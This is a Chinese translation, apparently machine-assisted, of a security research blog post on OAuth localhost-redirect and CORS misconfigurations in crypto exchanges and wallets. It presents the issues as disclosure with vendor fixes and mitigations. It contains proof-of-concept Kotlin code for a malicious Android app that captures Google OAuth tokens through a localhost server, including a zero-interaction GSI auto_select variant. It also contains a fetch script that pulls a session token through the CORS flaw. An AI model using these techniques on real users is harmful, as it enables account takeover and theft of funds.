本文深入探讨了交易平台中身份验证和客户端漏洞,揭示了OAuth配置错误及CORS配置不当可能导致账户被盗的风险。文章通过实际案例,分析了localhost和http协议在不同浏览器中的安全隐患,并针对这些问题提出了相应的缓解措施,例如禁止在生产环境中使用localhost以及移除CORS配置中的http URL。
OAuth 错误配置展示了常见的开发设置如何导致账户接管。探索真实的案例,在这些案例中,未能考虑到桌面和移动环境之间的差异,使得 SDK、交易所和钱包容易受到攻击。
我们的主要研究重点是我们在一些审计中发现的最新漏洞。我们发现的一个常见问题与 OAuth 错误配置有关,这些错误配置可能被利用来实现账户接管。为了理解漏洞和利用本身,我们首先需要深入研究不同的 OAuth 流程以及可以在 Google Cloud Console 中进行的配置。
在我们的研究过程中,我们发现了各种需要不同利用方法的 Google 身份验证流程。新的/最新的流程被称为 GSI,它主要使用 postMessage
与 Relying Party (RP) 通信,而旧的流程主要使用 redirect_uri
将 token 发送回 RP。
GSI流程也有两种方式对RP的用户进行身份验证:
FedCM (Federated Credentials Manager,联邦凭据管理器) 是一种新的浏览器 API,允许用户使用第三方 IdP 以原生方式向 RP 进行身份验证。
FedCM 方法
FedCM 方法基本上遵循这个 用户体验。用户可以通过点击登录按钮 (这将打开一个“选择你的帐户”提示窗口) 或通过 1-tap UX (见下图) 登录。
正常流程,点击“登录”按钮:
当你打开页面时显示的 One-Tap 弹出窗口:
这两种流程都使用 FedCM API 通过 Google IdP 服务进行身份验证,这会向 IdP 服务器发出一些 CORS 请求以返回 token。首次进行身份验证后,当用户过一段时间后返回同一网站时,可以使用 FedCM 自动重新身份验证 自动重新进行身份验证,这必须满足某些前提条件。
非 FedCM 方法
此方法使用弹出窗口(或 iframe)打开 Google OAuth 同意页面,并通过 postMessage
返回 token:
client_id
和 origin
postMessage
将 token 发送回 RP(在一些 SYN/ACK 消息之后)旧流程还会将用户重定向到 Google OAuth 同意页面,然后通过 URL 中提供的 redirect_uri
返回 token,并通过白名单配置进行验证:
client_id
和 redirect_uri
redirect_uri
,token 在查询参数或 location.hash
中这两种流程必须在 Google Cloud Console 中以不同的方式进行配置。我们可以控制两种白名单配置:
所描述的 GSI 流程不使用任何重定向将 token 发送回 RP,因此授权重定向 URI 在 GSI 流程中并不那么重要。它使用授权来源来验证 RP 页面是否真的允许使用该 client_id
进行身份验证。
GSI 流程中的实际验证发生在 FedCM 发出的 CORS 请求中,或者通过检查 origin
查询参数在 /oauth2/v2/auth
中进行验证。
在旧流程中,在 /oauth2/v2/auth
端点中传递的 redirect_uri
参数会根据授权重定向 URI 进行验证。
请注意,新的 GSI 流程也可以使用 redirect_uri
验证具有不同的流程。要执行此流程,你需要在使用 SDK 时指定 login_uri。
在我们的一次审计中,我们发现了一个与开发人员在其开发环境中测试 OAuth 流程的方式相关的错误。开发人员通常将 localhost
来源列入白名单,因为它被认为是本地测试的可信来源。
实际上,这在某种程度上是正确的,因为它取决于你所做的安全假设。这在移动环境中可能是一个问题,因为移动应用程序可以打开 localhost Web 服务器而无需太多权限,并且安装恶意应用程序在移动设备上并不被认为是重要问题,因为所有应用程序都经过沙盒处理。此配置允许恶意应用程序“逃脱”沙箱并攻击另一个系统。
为了利用此错误配置,我们首先需要了解目标使用的 OAuth 流程。如果 OAuth 实现遵循标准流程而不使用 Google Sign-In (GSI),我们可以通过 location.hash
或 location.search
提取 token。为此,我们开发了一个 Kotlin 应用程序,该应用程序启动了一个本地 Web 服务器:
override fun onCreate(savedInstanceState: Bundle?){
super.onCreate(savedInstanceState)
// 启动 Ktor Web 服务器
CoroutineScope(Dispatchers.IO).launch {
try {
startWebServer()
Log.d("WebServer", "Server started on http://localhost:3000")
} catch (e: Exception) {
Log.e("WebServer", "Error starting server: ${e.message}", e)
}
}
// 打开 Google OAuth 页面
val googleOAuthUrl = "https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow"
val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))
startActivity(browserIntent)
}
private fun startWebServer() {
embeddedServer(CIO, port = 3000) {
routing {
get("{...}") {
call.respondHtml {
head {
meta(charset = "UTF-8")
meta(name = "viewport", content = "width=device-width, initial-scale=1.0")
title("OAuth 重定向")
}
body {
h1 { +"Google OAuth 重定向" }
script {
+"document.body.innerText = location.hash;"
}
}
}
}
}
}.start(wait = true)
}
在这种情况下,可以从 URL 中省略 prompt 参数。这样,如果受害者已经登录,将跳过 OAuth 2.0 提示交互。
如果正在使用 Google Sign-In (GSI),我们发现可以使用 auto_select
参数来触发自动重新身份验证并绕过用户交互:
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
CoroutineScope(Dispatchers.IO).launch {
try {
startWebServer()
Log.d("WebServer", "Server started on http://localhost:3000")
} catch (e: Exception) {
Log.e("WebServer", "Error starting server: ${e.message}", e)
}
}
val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse("http://localhost:3000"))
startActivity(browserIntent)
}
private fun startWebServer() {
embeddedServer(CIO, port = 3000) {
routing {
get("{...}") {
call.respondHtml {
head {
title("测试")
script {
src = "https://accounts.google.com/gsi/client"
attributes["async"] = ""
attributes["defer"] = ""
}
script {
unsafe {
+"""
function handleCredentialResponse(response) {
alert("credential: " + response.credential);
}
window.onload = async function () {
const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);
const client_id = oauth_url.searchParams.get("client_id");
google.accounts.id.initialize({
client_id: client_id,
callback: handleCredentialResponse,
auto_select: true
});
google.accounts.id.renderButton(
document.getElementById("g_id_signin"),
{ theme: "outline", size: "large" }
);
google.accounts.id.prompt();
};
""".trimIndent()
}
}
}
body {
h1 { +"在此登录:" }
div {
id = "g_id_signin"
}
}
}
}
}
}.start(wait = true)
}
我们还将此漏洞报告给了 Web3Auth 移动 SDK、Slush Wallet、Kukai Wallet 和其他几个 web3 平台。如前所述,如果用户安装了一个利用 localhost 重定向的应用程序,则此问题可能允许在零用户交互的情况下接管帐户。
每个团队都迅速响应,清晰地沟通并迅速发布了修复程序。他们的勤奋为协调响应树立了榜样,并帮助确保了整个生态系统中的用户安全。
缓解此问题的正确方法是在生产环境中禁止 localhost。开发人员应具有单独的用于测试目的的分段 OAuth 环境,并具有不同的客户端 ID。重要的是要确保使用测试客户端 ID 生成的 token 在生产环境中无效。
我们在研究过程中发现的另一个错误与 CORS 错误配置以及不同浏览器如何处理混合内容请求有关。
在检查交易所中的其他错误时,我们发现了一个 CORS (Cross-Origin Resource Sharing,跨域资源共享) 配置,该配置允许任何子域的凭据和 http://
模式:
HTTP 200 OK
Access-Control-Allow-Origin: http://aa.exchange.com
Access-Control-Allow-Credentials: true
[...]
这种情况需要特定的前提条件。这个想法是将用户重定向到 exchange.com
的不安全子域,并通过拦截和篡改受害者的网络数据包来欺骗响应。
但是,在通过模拟 MITM 攻击进行测试时,我们发现这种类型的攻击在主要浏览器中的行为有所不同:
http://
--> https://
请求中发送,即使是同站Cookiefetch()
发送的为了利用它,我们必须遵循一些步骤:
fetch()
使用受害者的帐户执行恶意操作为了利用 CORS 问题,攻击者必须首先让受害者加载不安全的子域。这可以通过诸如欺骗 Wi-Fi 或创建伪造的公共网络等技术来实现,该网络会自动将不安全的页面作为强制门户打开。
一旦重定向到 http://
网站,如果攻击者位于相邻网络中,则可以拦截 HTTP 请求/响应 (或 DNS 解析) 并篡改返回的页面。返回的页面应具有利用 CORS 错误配置的恶意脚本:
(async () => {
let res = await fetch('https://www.exchange.com/api/session_token', {
credentials: 'include',
method: 'POST',
});
console.log(await res.json());
})();
在我们的研究过程中,我们发现的错误配置位于一个 API 中,该 API 具有一个端点来返回会话 token,因此影响是账户接管 (ATO),但由于交易所通常具有 MFA 来执行某些操作 (例如提款),因此存在一些限制。
作为缓解措施,建议从 CORS 配置中删除所有 http://
URL,包括 localhost,因为移动环境中的本地 Web 服务器可能会滥用它。
此外,作为其他/替代补救措施,可以配置 HSTS 策略以包括所有子域,并防止不安全的子域在浏览器中加载。
总之,我们对交易所平台中身份验证和客户端错误的深入研究揭示了一些由错误配置引起的漏洞。这些类型的攻击显示了保护客户端应用程序的复杂性,因为它们可以在不同的上下文和环境中运行。
它还演示了如果开发配置也用于生产中,则它们如何损害应用程序的安全性。因此,审计人员必须始终了解应用程序将在哪些环境和上下文中运行/可以运行,并确保这些配置在生产中使用时不是不安全的。
- 原文链接: osec.io/blog/2025-10-16-...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!